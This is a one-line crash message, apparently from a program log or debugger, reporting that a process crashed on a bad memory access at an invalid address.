Process crashed: Bad access due to invalid address